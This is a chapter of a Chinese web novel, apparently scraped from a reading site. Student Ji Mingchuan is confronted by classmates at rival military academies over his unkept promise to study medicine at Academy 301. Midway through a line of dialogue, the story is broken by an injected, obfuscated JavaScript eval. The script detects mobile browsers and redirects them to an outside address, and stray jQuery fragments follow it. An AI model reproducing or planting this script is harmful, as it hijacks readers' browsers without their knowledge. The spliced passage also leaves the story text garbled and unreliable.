季明川这语气软得反常，眉眼间褪去了惯常的漫不经心，多了几分不易察觉的怔忪，落在那对容貌酷似的双胞胎身上时，眼神竟带着几分说不清道不明的温和。


    围观的几人脚步一顿，心照不宣地往旁边退了几步，眼底闪烁着八卦的光芒，默契地保持沉默，静候这场好戏开场。


    率先开口的是眉眼温婉的女子，她军校制服的胸口处别着一枚银白十字萼徽章，花瓣纹路细腻，泛着淡淡的微光。


    她朝众人微微颔首，声音温和得像春日融雪：“大家好，我是301军校一年生医疗系一年生向晓，这是我妹妹向晚。”


    她这话虽是和大家说的，可视线却只胶着在季明川身上。


    众人见状，便只笑着点头示意，没谁贸然插话，免得扰了这明显针对性极强的对峙。


    一旁的向晚可没这般好性子，同样的制服穿在她身上，便多了几分凌厉之气。


    她往前半步，直接挡住季明川的去路，语气带着毫不掩饰的怒气：“季明川，你怎么说话不算话？”


    季明川听完对方的自我介绍，目光在两人眉眼间仔细逡巡。


    向晓的温婉、向晚的锐利，眉眼间确实有几分似曾相识的轮廓，可他在脑海中翻遍了过往的记忆，始终找不到与这对双胞胎相关的痕迹。


    确认自己并不认识她们后，他方才那点怔忪瞬间褪去，又恢复了往日漫不经心的模样，语气随意得近乎敷衍：“没有啊。”


    说罢，他抬脚便要绕过两人继续往前走，仿佛眼前的质问不过是无关紧要的打扰。


    “呵！”


    向晚冷笑一声，侧身再次拦住他，声音陡然拔高，带着咬牙切齿的意味，“一把破刀一句话，就把我哥从设计系忽悠到了医疗系！三年了，我哥都快要毕业了，你人呢？一声不吭跑去苍穹军校学指挥？还好意思说没有说话不算话？”


    这话信息量颇大，季明川眉头微挑，一时没完全反应过来。


    但多年的本能让他指尖的精神力瞬间跃出，精准接住了向晓丢过来的一把手术刀。


    他垂眸打量手中的刀，通体呈暗沉的灰白，材质粗糙得能摸到明显的颗粒感，显然是用虎豹胸骨仓促锻造成型，锻造工艺更是简陋，刃口甚至有些微微的歪斜。


    唯独刀柄处，刻着一个行云流水的“棠”字，笔锋凌厉，带着他少年时特有的肆意飞扬。


    这分明是他某次兴之所至时锻造的残次品，见身旁的人喜欢，就在刀柄上随手刻了对方的名字，随意扔给了对方。


    却没想到，这么一把粗糙的刀，对方竟如此爱惜，珍藏到现在。


    他的指尖摩挲过那个“棠”字，抬眼确认道：“你哥是向棠？”


    “是。”


    向晓轻轻按住还想发火的向晚，声音依旧温和，却多了几分沉甸甸的分量，“季明川，你还记得你当年说过的那句话吗？”


    她抬眸望着他，目光澄澈而坚定，一字一句，清晰地传入他耳中，“我在301军校医疗系等你。”


    季明川无声的叹气，这句曾经说过那么多次的话，他怎么会不记得？


    他握紧了手中的手术刀，指节微微泛白：“……记得。”


    向晓又问，语气平静无波：“那你还记得，这句话，你和多少人说过吗？”


    季明川眸色微动，沉默片刻，低声道:“很多。”


    有段时间，他只想让所有人都去301军校学医疗。


    “这句话，你和我哥说过，和我的学长学姐说过，也和我的许多同学说过，可你却并没有做到。”


    向晓的声音依旧温柔，没有半分质问的尖锐，却听的人莫名心头一沉，“但他们让我转告你一句话。”


    她说着，点开了腕上的个人终端，屏幕亮起的瞬间，她将终端轻轻怼到季明川眼前。


    视频很短，画面却格外清晰。


    医疗实验室里被挤得满满当当，每个人都穿着和向晓姐妹同款的草绿色制服，胸口的十字萼徽章在灯光下熠熠生辉。


    他们脸上带着年轻而真挚的笑容，对着镜头齐声说道：“季明川，我们在301军校医疗系等你。”


    季明川一眼就看到了向棠。


    他比三年前高了许多，身形也愈发挺拔，容貌和向晓姐妹有七分相似，只是眉眼间褪去了从前的骄傲，多了几分温和与沉稳。


    他的眼睛很亮，闪着深深的希冀，直直地望过来，仿佛能穿透屏幕，落在季明川身上。


    季明川的喉结滚动了一下，下意识地别过脸，不再看屏幕，可那些笑容、那些声音，却像烙印一般刻进了脑海，反复盘旋。


    手中的手术刀被他握得更紧，指尖的精神力不受控制地缠绕而上，在刀身缓缓流淌。


    向晓关掉视频，眼底闪过一丝复杂的情绪，似有千言万语，最终却只化作一句轻轻的嘱托：“季明川，别让他们失望。”


    季明川只是抬手，把手中的手术刀重新递了过去，声音低沉而清晰：“替我还给向棠。”


    向晓伸手去接，指尖刚触碰到刀柄，却骤然僵住，愕然地睁大了眼睛，脸上的温婉瞬间被惊讶取代。


    不过只是这么几句话的功夫，那把原本粗糙不堪的手术刀，竟彻底换了模样。


    材质依旧是虎豹胸骨，无法更改，但锻造工艺却发生了天翻地覆的变化，刃口变得锋利无比，泛着冷冽的寒光，刀身被打磨得光滑细腻，原本歪斜的弧度被修正得恰到好处，每一处细节都精致得不像话，宛如一件精心雕琢的艺术品。


    唯独刀柄上那个“棠”字，依旧保持着最初的模样，行云流水，肆意飞扬。


    向晓眼底闪过一丝了然，嘴角缓缓勾起一抹浅浅的笑意，她郑重地接过手术刀，握紧，轻声应道：“好。”


    话音落，她握住还在愤愤瞪着季明川的向晚的手，转身往外走。


    向晚不甘心地跺了跺脚，狠狠剜了季明川一下，才不情不愿地跟着姐姐离开。


    季明屿凑上去，正要问问自家哥哥和那个什么向棠是怎么回事，话还没来得及问出口，就被另一个咬牙切齿的声音打断了。


    “季明川呀季明川！好，你真是很好！”


    几人顺着声音传来的方向看过去，就见不远处的墙根后，慢悠悠的走出一个少年。


    少年穿着第九军校标志性的黑白相间的制服，领口袖口的金线刺绣在阳光下泛着冷光，衬得身形愈发挺拔。


    他一边拍着掌，一边懒懒散散地迈步，看起来好像走得很慢，可几个抬脚就走到了季明川面前。


    容启昭等人都凝住了眼神，这少年他们都认识，是第九军校的指挥系二年生苗秋岩，精神力亦是S级，去年就曾参加过军校争霸赛。


    却不曾想到，他竟也认识季明川。


    “我在301军校医疗系等你。”


    少年冷笑着停下鼓掌的手，掌心向上一翻，指尖的精神力骤然跃动而出，带着几分凌厉的气势直逼季明川，“季明川，你的话我信了，可你人呢？”


    那精神力来势汹汹，季明川却躲都没躲，只淡淡抬眼，依旧是那副漫不经心的样子:“你不是没去301？”


    青色精神力在他眼前骤然停住，下一秒，那青色的精神力如同被精细操控的丝线，缓缓凝结、变换，最终化作一把小巧玲珑的手术刀。


    霍清野的视线瞬间凝住。


    “这是医疗系学生的专属手术刀。”


    季明川的话言犹在耳，他练习过多次，仍无法流畅自如的用精神力凝结手术刀，可眼前的少年却可以。


    “我是没去301，可我转去医疗系了！”


    苗秋岩几乎要跳脚，额角青筋微微跳动，“我去九校是想和你一较高下，可你人呢？”


    “我好不容易从指挥系转到医疗系，可你他妈倒


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16749806|182855||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    好……”他气到极致，忍不住爆了粗口，“跑去苍穹军校学什么指挥？你什么意思？”


    容启昭下意识的看向霍清野，S级精神力学医疗，他本以为清野会是第一个。


    没想到，苗秋岩已经转去医疗系了。


    “你学医疗了？”


    季明川原本平淡的声音瞬间热切了几分，打量着对方的目光也多了几分认真，“你是……秋岩，对吧？”


    他抬手碰了碰对方用精神力凝成的手术刀，赞叹道，“你这手术刀凝的不错，但九校的医疗系比不上301，你若真想和我一较高下，还是要去301才行。”


    苗秋岩被他这重点偏移的话噎了一下，差点没顺过气来，翻了个白眼:“……你能不能去了301再和我说这话？”


    季明川只是笑:“我去了301，你就会转去301吗？”


    “当然不会。”


    苗秋岩想都没想就反驳，语气执拗又骄傲，“九校很好。我就是要和你一较高下才报考九校的。”


    “哦。”


    季明川的声音淡了些，但很快转了口风，“九校的医疗系也不错，你既学了医疗，就别总想着一较高下了，好好学就是。”


    “都说了，你能不能去了301再和我说这些？”


    苗秋岩急得抓了抓头发，额前的碎发被揉得乱糟糟，语气带着几分不耐，却又藏着一丝不易察觉的期盼，“你到底什么时候去301？”


    “总得等比赛结束吧。”


    季明川叹气，“你再等等，明年我肯定在301了。”


    “好。”


    苗秋岩应了，抬脚走了几步，却又回过头，别别扭扭的问，“为什么你劝别人就送礼物？劝我就没有？”


    众人闻言，忍不住对视一眼，看来方才季明川和向晓姐妹的对话，对方全躲在墙根后听了去。


    “那是回礼啊。”


    季明川挑眉，漫不经心的摊了摊手，“你又没送我礼物，当然没有回礼。”


    “我怎么没送，明明是你不要……”


    苗秋岩下意识反驳，说到一半又突兀的住了嘴。


    他顿了顿，又掩不住好奇，追问道，“他送了你什么？”


    季明川:“星尘家的招牌冰饮。”


    苗秋岩很是不满:“这饮料我也请你喝了啊。”


    “你是说请我喝饮料，结果你说没钱，最后是我付的钱。”


    说到这里，季明川提醒道，“你那杯是一万星币，记得转我。”


    这人怎么能小气到这种地步？？？


    明明自己失约在先，半句不提歉意，反倒揪着几年前一杯饮料钱念念不忘！


    苗秋岩气得脸颊涨红，狠狠瞪了季明川一眼，转身就走，脚步又快又沉，像是在跟地面较劲，走了老远还能听见他愤愤的嘟囔声。


    季明屿再也忍不住了:“哥，你到底还认识多少人？又和多少人有什么所谓的约定？赛帕斯、301和九校的都来了，待会不会米洛斯和星舰基地的也来找你吧？”


    这话一出，几人都目光灼灼的盯着季明川。


    “我怎么知道。”


    季明川无奈又茫然，“我和他们不熟啊。”


    他顿了顿，解释道，“我几乎走遍了联邦各大星球，认识他们的时候他们基本都在读预备军校，我和他们也没见过几次面，又没有联系方式，我哪知道他们读的什么军校？又上哪知道米洛斯和星舰基地有没有人认识我？”


    喻明舒忽然道:“你说走遍了联邦各大星球，可你既没遇见队长，也没遇见霍清野。”


    “我没回首都星啊。”


    季明川脱口而出，“上哪遇见他们去。”


    “所以，整整六年，你哪里都去，就是不肯回首都星。”


    喻明舒仰头问他，“季明川，如果不是你真实的精神力等级被发现了，你还要多久才肯回来？”